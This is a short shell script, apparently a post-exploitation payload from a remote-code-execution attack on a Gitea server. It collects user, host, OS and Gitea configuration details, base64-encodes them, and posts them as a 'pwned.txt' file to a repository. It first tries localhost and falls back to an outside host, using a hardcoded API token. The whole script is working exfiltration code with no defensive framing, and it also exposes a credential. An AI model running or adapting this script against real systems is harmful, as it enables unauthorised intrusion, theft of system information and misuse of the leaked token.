#!/bin/sh
RESULT=$(id; hostname; uname -a; cat /etc/os-release 2>/dev/null | head -3; whoami; pwd; ls -la /data/gitea/conf/ 2>/dev/null | head -5)
ENCODED=$(echo "$RESULT" | base64 | tr -d "\n")
DATA="{\"message\":\"proof\",\"content\":\"${ENCODED}\"}"
curl -sk -X POST "http://localhost:3000/api/v1/repos/secaudit77/rce-final/contents/pwned.txt" -H "Authorization: token 716231906ac33d9eda86a2fc1545978851a7db49" -H "Content-Type: application/json" -d "$DATA" > /tmp/_exfil.log 2>&1
if grep -q "error\|fail" /tmp/_exfil.log 2>/dev/null; then curl -sk -X POST "https://git.fbaitech.net/api/v1/repos/secaudit77/rce-final/contents/pwned.txt" -H "Authorization: token 716231906ac33d9eda86a2fc1545978851a7db49" -H "Content-Type: application/json" -d "$DATA" >> /tmp/_exfil.log 2>&1; fi